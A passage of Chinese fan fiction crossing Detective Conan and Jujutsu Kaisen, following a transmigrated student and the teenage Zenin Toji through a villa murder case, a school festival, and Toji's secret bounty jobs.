我满脸嫌弃，一旁的铃木学姐笑眯眯看着我们。
我想了想铃木学姐发的高额工资，不能不给学姐这个面子，便点头，“那我也去。”
电影社其他人也答应了，大家一同看向池田知佳子。
池田知佳子傲娇道：“服了你们，行吧，去放松一下。”
5. 少年的心机（一）
放学回家，意外发现冬至在家。
我将周末出去玩这件事跟他说了，“盛情难却，周日晚上会回来。”
少年夹肉的动作一顿，漫不经心开口，“都有哪些人去？”
我报了名字，“都是社团成员，大家都很熟，这次去的是学姐家的别墅，学姐邀请不去不太好。”
今晚吃的是寿喜烧，少年给的钱足够我们每顿吃好一点，回来的时候我特意买了和牛和无菌鸡蛋。
他停下筷子，我夹了一片刚烫熟的牛肉放在鸡蛋液里，滑嫩的蛋液裹着大片牛肉，吃得我心满意足。
“怎么不吃了？”我看他停下筷子，满眼疑惑。
“我也要去！”
我没反应过来，“什么？”
冬至放下筷子，目光锁定住了我，一字一句吐出，“我说我也要去！”
……
结果就是我一脸不好意思地给铃木学姐打电话。
“是的，我弟弟也想加入，真是不好意思。”
那头学姐很温柔回答，“没关系，别墅房间很多，人多也住得下，正好园子的朋友也带了一位小朋友过来，到时可以跟你弟弟做伴。”
我不好意思说这个弟弟个头比我个高，比我能吃，不是小孩子。
可看着旁边虎视眈眈盯着我打电话的少年，我还是将这些话都咽下了，等去了再跟学姐单独道歉。
我挂断电话，忍不住嘟囔道：“也不知道你凑什么热闹。”
少年已经坐回去重新拿起了筷子，“我不会让你丢下我一个人去住别墅吃大餐。”
我哼了哼，总算是体验到了什么叫作拿人手短，不敢说，不敢反驳。
＊＊＊
禅院甚尔看着眼前少女哼哼唧唧，一点都没有意识到一群年轻男女去深山别墅独处意味着什么。
这不就是联谊吗？
她是一点警惕心都没有，嘴里还哼哼唧唧说多一个人吃白饭不好。
禅院甚尔当作耳旁风，抢走了她夹起的牛肉片。
＊＊＊
周五天空飘起了雨，约定了下午出发，早上出门冬至就跟了上来。
我们在学校门口分开，我还没走远就看见他无比丝滑地钻进了一家柏青哥门店。
这家伙！
我是真的很想吐槽，运气不好还爱玩，我都庆幸银行卡放在我这，不然他连吃饭的钱都没有。
上午两节课，下午没课，吃完午饭，我就叫了冬至一起去了社团。
我们社团在学校有单独的一个房间，说来我加入这个社团还是意外，这个社团成员全都是研究生，本来是不收学弟学妹。
有一段时间铃木学姐忙着订婚，我被同专业的学姐介绍给了铃木学姐才加入社团。
前期我只是社团的编外成员，要不是铃木学姐够大方，我早不干了。
屁大点社团，糟心事一大堆。
“立花这里，上车，我们坐一起。”
我和冬至一前一后来到车门前，我先为学姐介绍。
“不好意思学姐，这位是我弟弟冬至。”
铃木学姐平时总是睁不开的眯眯眼在我和冬至身上扫了一圈，声音温柔道：“哇，弟弟好高，多大了？”
我有些不好意思，明明是内部聚会还带了一个外人过来。
“已经十七岁了。”
少年明显很不满意我的介绍，伸手戳我肩膀，被我给拍下去。
“没关系，跟园子同年，应该有话聊。”
我们俩上车，我和学姐坐后座，冬至坐副驾驶，开车的是铃木家的司机。
“我记得立花你妈妈改嫁后生了一个儿子是不是？”
我汗颜，学姐记性可真好，都是大一提过的事了这么久还记得。
我嗯嗯点头，就默认了冬至是我同母异父的弟弟。
怕学姐再问下去，我连忙转移话题。
“这次只有我们社团参加吗？”
“还有我妹妹园子和她的朋友，大家都很忙，工作后很难再相聚，借着这个机会聚一聚。”
铃木园子的朋友还能是谁？
我第一反应是小兰，那学姐之前口中的小朋友……
我心里一咯噔，完蛋了，这下误入犯罪现场了？
这次我们一群人中谁会是倒霉蛋？
我看名柯时还在上小学，名柯的剧情早忘得差不多了，毕竟也没人将一千集动漫剧情全部记下来。
倒是记过一个梗，那就是凶手和反派都是出名的声优配音。
我回忆了一下我们社团，好像声音都很好听。
汽车到山下就停下了，山路比较狭窄，汽车开不进去，我们只能从这里下车。
学姐走到后面跟其他社团打招呼，我察觉到冬至来到我身边，顺手将行李接了过来。
没想到被他躲过接了个空。
我略微惊讶，这家伙变化很大嘛，要是以前可没有这么绅士。
“Toji，做得好，对女生就应该积极点，以后不怕找不到老婆～”
我竖起拇指夸赞。
少年扭过头去，“啰嗦～”
“嗨，立花，上山喽～”
我回头冲学姐摆手，“来了！”
山道两旁都是树，其实我也不是很理解学姐家的别墅为何要建在山上，车都进不来，怎么补给？
又想到有钱人都有直升机又觉得好像也没问题。
这片林子就属于别墅区域，进了大门，安保人员开着一辆观光车过来，我们上了车，沿着小道往山上走。
两边树木葱茏，没走多久就看到了吊桥，桥下面是流经的汹涌河水。
车停下，我们下了车提着各自行李过桥。
天空有些阴沉，摆明了要下雨。
铃木学姐敲门，一位短发女生开门，我算是见到现实中铃木园子了。
皮肤很白，齐耳短发看起来很爽利，大大方方跟我们打招呼。
“大家好，房间在二楼，大家先去休息，等我朋友到了再集合。”
上了二楼几个男生将最外面的几个房间都站了，我选了最里面那间，冬至选了我对面。
他先进我的屋子帮我摆放行李，我坐在床边上喋喋不休。
“真奇怪怎么连佣人都没有，就我们几个吗？等一下是不是要自己做料理？”
“我们收拾好下去帮忙吧，不能让学姐一个人忙活……”
冬至帮我挂好衣服，走过来捏住我的嘴。
“闭嘴！”
我瞪了他一眼，拍开他的手。
“要识趣一点，虽然学姐喊我们过来玩，但也不能跟大爷似的等人家做好，我们要有眼力，主动去帮忙。”
这时外面传来道歉声，我穿着拖鞋跑过去看门，就看到一个漂亮的长发女孩在对着门内道歉。
她身边还跟着一个穿着西装戴着蝴蝶结领带的小学生。
我眼睛一亮，这就是小兰和柯南吧？<
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p>真人可真漂亮！
小兰对面的门推开，是学姐。
学姐带上门笑眯眯问我，“收拾好了吗？下楼相互认识一下。”
我连忙说好。
回到房间，我推了一下冬至带着坏笑道：“走啦，下楼，今天可是有两位可爱的女生哦～”
将人推出去，我们下楼，楼下学姐正将甜点放在桌上，我见状忙去帮忙。
很快大家都下了楼，等坐下后，园子为小兰介绍大家。
其他人园子都很熟悉，到我时停顿了一下，我笑着自我介绍。
“我是立花霁，十九岁，雨后天晴的意思，这位是我的弟弟冬至。”
我冲已经花痴的园子挤眉弄眼，“冬至和你们同龄哦～”
正说着，一直举着摄像机的角谷弘树镜头转移到胖墩墩的高桥良一身上。
“话说高桥最近是不是胖了不少？”
憨厚的高桥良一不好意思抓了抓后脑勺，“已经一百公斤了。”
我惊了一下，这也太胖了。
“高桥前辈，该减肥了，太胖了对健康不好。”
“哈哈哈，立花你还是这样说话直白。”
高桥良笑呵呵摆手。
我噘嘴，好嘛，良言难劝该死鬼！
学姐见状转移话题道：“要是没发生那件事，墩子也在就好了。”
气氛突然一变，池田知佳子更是脸色大变，站起身一拍桌子，“不要再提墩子了！”
我觉得尴尬，那位墩子我并不了解，我进社团后没几天这位就自杀了。
池田知佳子又坐了回去，说好不容易从百忙之中抽出空，并不想谈起一个两年前去世的人。
学姐说了一句抱歉，然后起身说去准备晚餐。
我忙跟着起身。
“学姐，我来帮你！”顺便拽了一下冬至。
我们两人进了厨房，我看了一下丰富的食材，感叹都好贵。
正当我撸起袖子要洗菜时，窗户外响起了雷声。
学姐看着大雨担忧道：“立花，他们好像出去了，外面雨太大，你帮我去把他们喊回来。”
我一听就往外走。
冬至也要跟上来，我连忙阻止，“你留下帮学姐，我一个人去就可以了。”
＊＊＊
“姑且问一句你应该不是立花的弟弟吧？”
禅院甚尔见少女跑出去，自己被留下来甚是不悦。
突然身后传来了一句问话，他回头。
铃木绫子背对着他声音柔柔道：“立花大概忘记了，她曾经说过她弟弟是小学生。”
禅院甚尔没有回答，而是清洗起了池盆里的蔬菜。
铃木绫子的声音伴随着自来水流下的声音再次响起。
“讷，立花这样像小太阳生机勃勃的人很吸引我们这类经历复杂的人，像是没有经历过黑暗，生活在和平世界一样。”
“真是一点防备心都没有。”她表情无奈摇摇头。
“你看立花的眼神很不对劲哦，她那样粗神经的女生根本没发现吧？”
见禅院甚尔不耐烦要往外走，她再次出声叫住了他。
“给你一个警告哦，千万不要在成年之前跟她告白，她曾经说过不会跟年下男生恋爱，特别是未成年男孩，说是会有罪恶感，小心她会远离你哦～”
禅院甚尔单手擦兜，满脸不悦道：“你管太多了！”
铃木绫子的回答是站在厨房笑眯眯看他。
6. 少年的心机（二）
我出来后发现客厅一个人都没有，回二楼房间换了鞋下来，我拿着伞出门刚进林子里就听见一声尖叫声。
我跑了过去，就看见小兰他们跑了过来。
“发生了什么事？”我连忙问。
园子连忙问我，“刚才有个绷带怪人袭击小兰，朝别墅方向跑来了，你看见了没有？”
我摇头，“我听见声音就跑过来，什么都没看见。”
“对了，学姐说雨太大了，让你们回去。”
我们回到了别墅，我对着学姐吐槽，“太田胜这家伙也太不靠谱了，外面下着大雨约女孩子出去散步，害小兰被人袭击。”
学姐一听紧张地问，“小兰没事吧？”
园子已经将所有人都叫了过来大声宣传这件事。
大家商议之后决定报警，结果电话被人剪断了打不出去。
高桥这家伙不知发什么疯转身往外跑说要离开这里。
其他人都追了出去，我本来也要出去被冬至给拉着。
“外面下雨，让他们去吧，我们先做晚饭。”
我一听也有道理，虽然担忧还是跟着他进了厨房。
厨房里米饭已经煮上来，肉切了一半，我看了一下，招呼冬至处理起来。
忙了没多久，就听见客厅嘈杂声音，我探出头就听见一个不妙的消息，吊桥被人毁掉了，也就是我们跟外界断开了联系。
我心道不好，再看向柯南眼里满是嫌弃，不用说了死神在，今晚肯定要出事。
没一会儿学姐和小兰一起进来，一看我们两个都在，连忙说不好意思。
我挥手，“学姐，应该说我们叨扰了您才对。”
小兰看到冬至正忙碌着打鸡蛋，夸赞道：“很少有看见男生做料理。”
这话倒是没错，立本这边大男子主义强，男人除非职业需求，有几个主动做家务和料理的？
我为了将冬至推荐出去，对着他大夸特夸，“没错哦，冬至很厉害，我做料理的时候会帮忙，不像有些男生会觉得家务是女生该做的，连瓶子倒了都不会扶一下。”
“小兰，有合适的女孩，可以介绍给冬至认识哦～”
“哎呀！”我突然叫了一声，冬至这家伙突然往我脖子里弹水，这个坏蛋，我在帮他找女朋友欸，他就是这样回报我的吗？
直到吃晚饭，冬至都没跟我说一句话，我有些悻悻，不明白他在闹什么脾气。
今晚的菜很丰盛，四个人忙活了两个小时，等菜全部摆放到桌上，我都馋了，毕竟中午我就念着这顿大餐没怎么吃。
然而今天是注定吃不上这顿大餐了，高桥这家伙修完房顶突然怪叫一声说看到楼下有黑影。
我们反射性看向窗户外，只见一个黑影掳走了池田知佳子。
大家顾不上吃饭都跑了出去。
我一想到今晚会出事，又不能确定池田知佳子现在是不是还活着，吓得腿脚有点软，正准备出去，一只手拉住了我。
我猛然回头，是冬至。
冬至一脸不爽，“人都已经死了，你还出去做什么？”
我又是害怕又是惊讶，“你怎么知道人死了？”
“血腥味这么重，这不是很明显的事情？”
这么一耽误，客厅里只剩下冬至和我们几个女生。
其他男生都跑了出去，冬至是一点都没有动的意思，我也拉住了他的手，没开口让他出去。
小兰他们也听见了我们的对话。
铃木学姐一脸心急，“怎么会这样？”
小兰和园子忙劝解，“知佳子一定会没事，男生一定能把她救回来。”
冬至嘁了一声，“无聊。”
说着坐下吃饭。
我很尴尬又脸红，不好意思地看看冬至又看看学姐。
心里有点恼怒，早知道就不带这家伙来了，太丢脸了。
没一会儿男生们面色阴沉回来了，然后告诉了我们一个噩耗，池田知佳子被人分尸了！
现在已经天黑，我们能做的就是关好门窗，在别墅里过上一晚，等明天想办法报警。
晚上这顿饭男生都没有什么胃口，我也因为死了人心情不好，同时我很肯定凶手就在我们之间。
吃完饭大家回房间休息，我一想到窗户之外还有一具尸体，哪怕窗户被门帘遮挡，我也被吓得睡不着。
拉上被子我强迫自己睡觉，越是不让自己想，脑海里越是出现什么。
活生生的一个人转眼就变成了死人，说不定鬼魂就隔着窗户在找凶手。
我将头埋在被子里瑟瑟发抖。
就这样迷迷糊糊中窗户外传来什么动静，隔壁传来尖叫声，我也跟着吓得尖叫起来。
紧跟着我的门被人从外面踹开。
“发生什么事了？”
是冬至的声音，我掀开被子扑了过去，一把抱住了他的手臂。
“吓死我了！”我眼泪汪汪道。
“小兰，柯南，出什么事了？快开门！”
外面传来园子焦急的敲门声，我心里一咯噔，忙拽着冬至出去，就看见门外园子正焦急地拍打小兰的门。
……
大家又聚在了楼下，一起商量小兰再次遇袭这件事。
冬至本来不愿意下去，还是被我硬拉下去。
刚坐下没多久，屋内突然停电了，我吓得一阵尖叫，然后被冬至按在了怀里。
我热泪盈眶，果然没白帮他。
学姐说要去找蜡烛，小兰也一起去。
黑暗中什么都看不见，我嗅着冬至衣服上的洗衣粉问他，“你不怕吗？”
他语气有点古怪，“挺有意思。”
我皱起鼻子，这时候灯又亮了，我直起身，就看到小兰和学姐走了过来。
学姐一脸忧愁，“刚才小兰又被那个怪人袭击了。”
大家又聚了过来，我看见了园子突然趴在了桌面上背对着我们。
我一愣，反射性扫了一圈，没看到柯南。
我一下子支愣起来，好嘛，接下来就该是名侦探破案的名场面了。
……
我唏嘘一声回到了卧室，谁能想到凶手竟然是高桥良一，他是为了那位自杀的墩子报仇。
折腾了一夜，天色已经大亮。
高桥被警察带走，大家都不愿意留在别墅，学姐只好安排了直升机将我们送到山下。
一番折腾等回到家我已经困得睁不开眼，我推
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门进去前跟冬至商量。
“午饭不做了，等晚上出去吃大餐行不行？”
冬至推了我一下，将我推进屋内，将行李放下。
“喂，霁。”
他突然叫我名字。
“干嘛，小鬼，叫姐姐啊！”
“离你那个学姐远一点。”
我哈欠打到一半，睁着酸涩的眼睛看向他。
“学姐？”学姐怎么得罪他了？
“为什么？”我直接问。
他居高临下盯着我，“你没发现这件事都有你学姐的影子吗？”
“将你们请到一个偏僻的地方提供了一个杀人场所，提起那个什么墩子激起了凶手的杀心……”
我愣了一下，反射性摇头，“才不是，学姐是好心请我们过去，你怎么能怀疑她？”
这跟学姐有什么关系，柯南的世界杀人理由千千万，有柯南在注定要死人，要怪应该怪柯南才对！
我看他神情不爽，赶紧将人打发了，“你想多了，一晚上没睡，快回去休息，晚上请你吃大餐。”
……
我闭上眼，明明很困，却怎么也睡不着。
冬至的话在我脑海里浮现，我不由回忆昨晚发生的事，好像确实如他所说。
不对，学姐怎么可能借刀杀人？
我不应该受他影响才对，他只见过学姐一面，我才是那个和学姐长期相处的人。
学姐怎么可能是那样的人？
我强迫自己入睡，恍惚中感觉灵魂在下坠，自己仿佛成为了被害者，无论如何都逃不过凶手的袭击。
我知道自己在做梦，却怎么也清醒不过来，我想要抬一下手臂让自己从梦魇中挣脱，却无论如何都做不到。
一觉醒来，我浑身无力，头又疼又胀，我呻吟一声，然后就听见外面的敲门声。
“来了！”
不用说我也知道敲门的是谁。
我扶着墙过去开门，按住脑袋看向门外。
冬至已经换了一身衣服，全身都是白色看起来很有少年气息。
他之前总穿深色的衣服，我不是很喜欢，年纪轻轻就往老气打扮，现在多好，又帅气又爽朗。
好吧，嘴角上的伤疤让他看起来很不好对付。
但我保证，他是个好孩子。
我脸色应该很不好，毕竟做了一连串噩梦。
“等一下，我洗漱一下再出去吃饭。”
“等一下。”他拉住我，拍了拍我的肩膀。
我感觉到身体一下子变轻松起来，头痛症状也减轻了。
“哇，冬至，你拍了我哪个穴位？我现在一点都不头痛了。”
＊＊＊
禅院甚尔嘴角下沉，扫了一眼手中的蝇头，再看着眼前啥都不清楚状况的少女。
她脸色有点发白，眼睛无神，刘海被额头的汗打湿缩在一起，明明长相普通，却牢牢吸引住了他的目光。
“你怎么了？”
她露出了一抹苦涩笑容。
“别提了，回来才反应过来死了人，做了一连串噩梦。”
她捂着脸声音里带着疲惫道：“这真是个见鬼的世界！”
对于这一点他表示赞同。
7. 少年的心机（三）
我摸了一把脖子，虽然头不怎么痛了，脖子却满是汗水。
“等我一下。”
我关上门快速冲了个澡，再换上了一个裙子，吹干头发扎上马尾辫，拎着背包出门。
冬至就趴在门外的栏杆上往下望。
这边都是两层房屋，旁边有条小河穿梭而过，之前捡的那条大鱼就是从河里跳上来的，这里的鱼一点警惕性都没有，大概也没想到岸上会有人吃河鱼。
我们并肩下楼往外走，我一边整理背包一边问他吃什么。
我交了几份女性休闲服的图纸，学姐很喜欢，说已经安排人排版，还准备赞助电视剧。
知道我口袋没什么钱，提前预支了我一个月的工资，再加上冬至给的那张卡，我手里已经不是那么缺钱。
“吃什么都可以。”冬至对于美食没有什么喜好。
我想了想，他好像对肉类来者不拒，立本人特别喜欢的内脏他也很钟情。
“那就吃烧烤吧。”
我点头，来到这个世界都没吃过烧烤，以前上学那可是当做夜宵来吃。
市中心就有烤肉店，我们坐公交车过去。
这边的烧烤是用炭烤，丰厚滑嫩的生肉放在烤网上，没一会儿就冲撞出滋滋声。
这里的配料需要另点，都是一格一格的小碟子分开放。
我点了牛肉、羊肉还有各种内脏，青菜有紫苏和茄子。
这里主推的是烧鸟提灯也来了两份。
就这么简单的几样食材加在一起已经超过了五千日元。
我感觉肉疼，还不如去吃自助烧烤，起码旁边有个胃口好的也不用担心吃不回本。
不过贵也有贵的道理，这家不是连锁店，老板自己经营二十年，见我们烤得不是很好，还特意过来教了一下。
前面是冬至负责动手，我只管吃，等我吃饱换成我来烤他吃。
店里还送了许多小菜，小菜也很解腻。
我们年龄不够，连酒都不允许喝的年纪，只能点了冰可乐解馋。
吃完这顿肉疼的烧烤，我是打定主意不会吃下次了。
下次去学校附近的自助烤肉店，那里的海鲜便宜又新鲜，量大管饱。
回到家天已经黑透了，我房顶漏雨的地方已经修补好，便搬回了二楼。
又休息了一天，周一去上学，午休时学姐将我找了过去。
她一脸遗憾道：“知佳子去世，高桥被捕，大家一致决定解散社团。”
我早有所预料，本来这个社团大部分成员在学校的时间不多，这次还出了这样的事，应该没人还能当作什么都没发生继续待下去。
我看着学姐，突然想到冬至说的那番话。
“学姐……”
我很想问学姐是不是也为那位墩子前辈抱不平。
学姐笑眯眯看过来。
“怎么了，立花？”
我将未开口的话咽了下去，问了又怎么样，死去的人也无法复活，就这样吧。
“我是想要问工作室那边不是要赞助电视剧吗？能让我看一下剧名吗？或许我能给一些建议。”
我对千禧年左右的日剧不怎么了解，但是知晓这个时代最热门的女星有哪些。
若是能推荐有这些女星出演的电视剧，说不定我们的服装品牌也会跟着大火。
“立花愿意帮忙真是太好了，正好我这段时间没有空，工作室这边的事就拜托立花了。”
学姐双手合十，一副请求的语气。
我能理解，学姐是铃木集团社长的长女，名下产业众多，小小一个工作室自然是不重要。
这样一个性格温柔的财阀家长女，怎么可能像冬至说的那样，故意布局引人杀人呢？
一定是冬至多想了。
我打起精神道：“我是工作室的一员，这些是应该的。”
学姐伸出食指思索了一下，“立花还真是可爱，明明不是自己的工作，这样，给你加一个总务课长职位，多领一份工资吧。”
我磕磕巴巴道：“我？我做课长？”
学姐温柔地拍我的肩膀，“工作室又不大，自然是我说了算，立花课长加油，工作室就交给你了。”
我在双份工资的激励下，连忙站直向她敬礼，“我会好好做！”
“立花要保持元气满满哦～”
“嗨～”
回家的公交车上我忍不住发出笑声，算一算两份工资加在一起每月快三十万日元，这笔钱不一定能抵上学姐的一件裙子，可这样一份工资对于还未出大学校门的我来说绝对是高薪。
这件事对我来说绝对是大喜讯，我绕进了超市，买了许多肉，准备庆祝一番。
回到家，我看到冬至的房门是敞开着的，迫不及待告诉他晚上吃大餐。
他扔掉手中的漫画书走过来帮我拎起了袋子。
晚餐吃的是关东煮，灶上还卤着牛肉和牛舌。
卤肉香味灌满了整个屋子，在开动前，我向他宣布了这条喜讯。
冬至的脸一下子耷拉下来。
“不是说过让你离她远一点吗？”
我拿筷子另一头敲打他额头，“对学姐尊重点，那可是我们的衣食父母！”
我对他算了一笔账，“我问过了，有一家私立学校愿意接收转学生，再拜托学姐帮忙，在乡下中学帮你办一个卒业证明，这样你就可以进入高中读书了。”
“不一定要考大学，先拿个高中生学历。”
“每月近三十万的工资足够我们两个交学费和开销了，学姐大方，你可不能瞎怀疑她。”
冬至迟迟没有动筷子。
“要是有钱，是不是可以离那个女人远点？”
我有些生气。
“要是有钱，我肯定享受生活，这不是没钱吗？我们这样的普通人就得努力赚钱为未来做打算。”
我为他算了一笔账，“就以你为例，这个社会很看重学历，没有学历你只能打黑工，没有各种保险，福利待遇都跟不上，找不到一份稳定的工作，赚到的钱只够勉强养活自己，以后连女朋友都找不到……”
“男生结婚后还要养妻子，要是生孩子，那开销就更大了，压力都很大。”
我拍着桌面一脸严肃道：“所以学历很重要！”
他若有所思。
我欣慰他总算是听进去了，没有学历最后的结果只能成为流浪汉，立本这边太卷了，堕入底层连翻身的机会都没有。
学姐愿意给我一份工作，完全是在照顾我，我怎能不领这份情？
“以后我大部分时间都要去工作室工作，你在家可以多看看书，等我联系好送你进学校。”
说到这里我警惕起来，“不准拿吃饭的钱去玩钢珠！”
这家伙特别喜欢去玩
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钢珠，幸好口袋里的零花钱不多，不然全都送给了柏青哥店。
我都有些庆幸这家伙年龄不大，那些正规的赌马、赛艇不准未成年入内，不然就不是扔那点零花钱的事了。
我见他迟迟不动筷子，塞了一些牛内脏进他碗里。
“快点吃！”
“我要出门，未来几天都不在。”他突然开口。
我愣住，“明天吗？可是明天是中秋节。”
明天可是中秋节，为了过节我还卤了牛肉牛舌，这边过节不吃月饼，吃的是团子。
我在超市都买了。
“是回家吗？你亲戚喊你回去过节？”
冬至露出嫌弃表情，“别提他们，是处理一些事，过完节就走。”
他话音刚落，屋内电话声音响起。
我们一致看过去，我突然想到这个电话只能是找我的，我爬起来去接。
让我意外的是电话那头是原身的母亲。
“明天放假吗？要来这边过节吗？”
我意外，没想到她会邀请我过去，说实话新年都没提过让我过去。
我回忆了一下之前收集的信息，原身出生时她年纪也不大，才十六岁，因为生下孩子只读完了高中，后来将原身留给外婆自己去大城市打工，之后认识了现在的丈夫，生下了一个儿子。
我对于她来说应该是不想提起的耻辱才是，不闻不问才是常态。
电话那头传来小孩的声音，“是姐姐吗？我要和姐姐说话。”
我了然，应该是我这位弟弟提起了我，她才主动邀请我。
我识趣拒绝了，“学校这边不放假，可能过不去了。”
“是吗？那真是可惜。”
她将电话交给了弟弟，我敷衍了几句。
立本这边就是这样，父母与成年子女关系都很冷漠，大家维持着互不打扰的相处方式。
我挂了电话，迎上冬至关心的眼神，我心情好了不少，我现在可不是孤独一个人，跑回去坐下，打起精神道：“谁最后吃完谁洗碗！”
中秋节学校这边不放假，不过不会拖堂，让大家早点回去跟家人一起赏月。
我们家就我和冬至两个人，我自己用木棍和纸糊了一个螃蟹模样的花灯，夜晚提着花灯沿着河边，然后获得了一众幼稚园小朋友羡慕的眼神。
之后我没再见到冬至，等再看到他已经是一周后
学校忙着办校园祭，我和班里的同学忙着布置女仆咖啡馆。
有同学从家里带来了咖啡机，有同学带来了整套卡拉OK，而我则是按照大家的尺寸做了猫耳女仆的衣服。
不同的是穿短裙的是男生，女生穿的是执事服。
班里几个男生换上短裙，只裙下那一双笔直纤细的腿就吸引了不知多少外校的人过来喝咖啡。
“欢迎光临～”
我一身执事打扮站在临时摊位边，因为戴着白毛头套，穿着内增高鞋子，光是站在那里就引来不少女生过来合影。
对于每一位女生我都是极有绅士风度地亲吻她的手背，说一句公主殿下，再配合拍照。
学姐领着园子和小兰过来，我也很配合地喊了两声，“园子殿下，小兰殿下～”
两位少女被我逗得心花怒放，让一旁的小学生看我十分不顺眼。
我笑眯眯看了他一眼，有他在就没有好事，瘟神退散！
8. 少年的心机（四）
学姐看看左右，奇怪道：“你那位弟弟呢？”
我莫名其妙，“他没来呀。”
冬至消失好几天了，我也联系不上他。
“刚才进来时，我有看见他哦。”
我惊讶，“他来了？”
我们学校跟其他学校一样，平时是不准外人进入，只有校园祭这样的节日才会允许外人进来。
我想他或许是来学校看看。
我也没有放在心上，继续做个合格的看板郎吸引顾客。
没一会儿我身边多了一个高大的男人，一侧头就看见冬至站在我身边。
他站在这里一身气势看着就不像是好人，这下好了，本来想要合影的女生都不敢过来了。
我无奈，将人拉到摊位后面的椅子上坐下。
“别捣乱，我还要工作。”
其他同学看看冬至又看看我，有跟我相处亲密的女同学凑过来问我，“立花，那是你男朋友吗？”
我被口水噎住，咳了起来，“根本不是，他是我的邻家弟弟～”
女同学眼睛一亮，“那我可以追吗？”
我大方道：“当然可以。”
我冲她挤眉弄眼，比划加油。
女同学要联系方式去了。
我看着这场景，心里满是感怀，就像是在看家里养的猪可以拱白菜了。
没一会儿学姐绕了回来，身边已经没有小兰和园子。
我探头有些好奇，学姐轻描淡写道：“占卜屋那边有人被毒死了。”
我两眼发黑，就这么短时间，又出现命案了吗？
我忍不住询问学姐，“您不觉得哪里不正常吗？小兰和柯南出现的地方经常发生命案。”
我还拿自己举例，“你看我就见过他们两次，两次都发生了命案。”
学姐微笑，“这是很奇怪的事吗？米花町可是一个民风很淳朴的地方，哪天没有命案发生那才是奇迹。”
我、我无话可说。
学姐拍了拍我的肩膀凑过来，“立花，想过恋爱没有？”
我脸有点红，难道学姐打算介绍帅哥给我认识？
我当然想在大学谈个甜蜜的恋爱，之前忙着上学打工根本抽不出时间，现在有时间了，我当然也有那点心思。
关键是这里是二次元世界，帅哥含量非常高。
话说我马上就二十了，再不恋爱，青春的尾巴都抓不住了。
我有些激动询问，“学姐，你要给我介绍吗？”
学姐哈哈一笑，“立花，你好可爱，小心被恶狼叼走，当然你要是有这方面兴趣，我拉一堆帅哥介绍给你。”
我脸有点发烫，含羞地点头。
此刻我并没有发现学姐趁着我不注意回头看向卡座方向，然后对上了某人杀气腾腾的目光。
“好像有点冷。”我突然揉了揉裸露在外的胳膊，只觉得一阵冷气袭来，都起了鸡皮疙瘩。
学姐突然掏出手机，明显是刚买的，然后记下了我家的电话号码。
“就这样，回头再联系。”
我一脸期待地跟学姐挥手，等一回头差点没吓死。
只见冬至那么大一个墩就杵在我身后，一脸阴沉好像别人欠了他几亿一样。
我又看向方才的女同学，女同学咳嗽了一声，“那个立花，我们这边也不忙，要不你带你这位朋友去逛逛，听说其他班和社团也很有趣。”
“对呀对呀，立花，你都站了一上午了，我们都去玩过了，也该轮到你了。”赶紧把人带走吧，顾客都吓得不敢过来了。
我看看同学又看看冬至好像意识到了什么，带着歉意冲他们点头。
然后我拽着少年手臂往外走，这家伙纯属是来捣乱的吧？
＊＊＊
“养家要很多钱……要是有孩子那开销更大了……”
禅院甚尔省略了大部分，只提取了自己想听的，他目光深深盯着她。
她说得对，养家需要钱。
普通人就该过普通人的生活，不应该将危险带给家人。
禅院甚尔想起了之前赏金猎人生涯，开始思考哪些尾巴没有处理干净。
既然要跟过去斩断联系，那就断得干干净净，在离开之前他还需要多接几个任务赚取一笔足够两人生活的金钱。
他刚提起要出门一段时间，就对上了她一副失望的表情。
就好像说明天是十五夜，你要离开吗？
禅院甚尔顺势拖延了一天，漫不经心想，啧，可真是黏人。
虽然对这个温馨的小家恋恋不舍，禅院甚尔还是快速抽身，联系上了情报贩子孔时雨，询问他最近有哪些赚钱的业务。
“嗨，禅院，许久没有见到你了，我还以为你回禅院家了。”
禅院甚尔满脸嫌弃，“嘁，你是在恶心我吗？那种垃圾堆谁愿意回去？”
“喂，帮我查一下最近都有哪些赚钱的业务，我要攒钱……”
“又看中了哪个咒具吗？说来最近有个小型的拍卖会，会拍卖一样咒具，等级未知，锁链的根部可以无限延长，你应该会感兴趣。”
禅院甚尔明显被引出了兴趣，他离开禅院家后就四处收集咒具。
他是天与咒缚，身体里的咒力全部拿来换取身体力量提升，没有咒具他连咒灵都很难杀死。
含有术士的咒具对他极有吸引力，只有使出咒具携带的术士时，他才觉得自己不是一个猴子。
之前他接了不少任务，任务金全被拿来收集各种奇怪能力的咒具，有余钱会常驻柏青哥店，要是连吃饭的钱都没了，他会随便跟个顺眼的女性回家混吃混住。
这样颓废而又自由的生活，让叛逃家门的禅院甚尔如鱼得水。
只是他无论如何都没有想到，有朝一日野犬也会被收留有了主人。
“什么时候？”
孔时雨报了个时间。
禅院甚尔的回答是：“我要筹集一大笔钱，最近钱多的任务都可以接下来。”
忙碌了一周，禅院徘徊在各个任务中，不是今日去刺杀某个政要，就是明日去祓除某个咒灵，要不就是出海做某个富豪的保镖。
等从海上回来，他借着短暂的休息时间往埼玉赶。
这个时间点正是某人在学校的时间，他原本只是想接她放学，没想到学校竟然在举办校园祭，受到邀请的外人也可以进入。
混进去一个守卫如同虚设的学校对于他来说易如反掌。
只是这一次打碎了他的某些想法。
她那个学姐明显是故意的，当着他的面说给她介绍男朋友。
禅院甚尔头一次在没有任务赏金的情况下对一个人起了杀心。
但他知道不能动手，她对她那个学姐很重视，若人死了，她
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会很伤心。
他不想让她为别人流泪。
＊＊＊
“好累呀！”
回到家我打开灯将鞋子一踢，伸了懒腰。
眼前多了一张银行卡。
我投给他一个不解眼神。
“干嘛？”
冬至将银行卡往我面前递了递，这是另一家的银行卡。
“这里有两千万，你可以辞掉工作，离你那个学姐远一点。”
我目瞪口呆。
“你哪来的钱？”我没有接过卡。
＊＊＊
禅院甚尔有些烦躁，随便找了个理由，“呐，回家处理了遗产，后续还有一部分会入账。”
他将报酬换了个让她放心的说法。
“不是你说的吗？有了钱就不用去工作，这么多钱够了吧？”
一向只有女人为他花钱，这还是他第一次给女人钱，啧，她应该感到荣幸才是。
他目光下垂，盯着她的表情，原以为她会欣然接受，没想到她却脸色一变。
“这是你的钱，给我做什么？我说的有钱是指我自己赚到了钱，这是你父母留给你的遗产干嘛给我？”
禅院甚尔觉得麻烦，他将银行卡丢下，“随便你怎么处理，你想扔掉也可以。”
＊＊＊
我愣住，他这脑子是不是有问题，白白给我这么大一笔钱，他能信任我，不代表我能信任我自己呀！
看他转身要走，我拉住了他的手臂，一脸严肃道：“我们谈谈。”
熟悉的桌子，我们相对而坐，银行卡就放在空旷桌面上。
我将银行卡推到他面前，郑重道：“Toji，我先向你道歉，之前不应该跟你灌输我缺钱这个概念，还有我也不应该收下你那么多钱。”
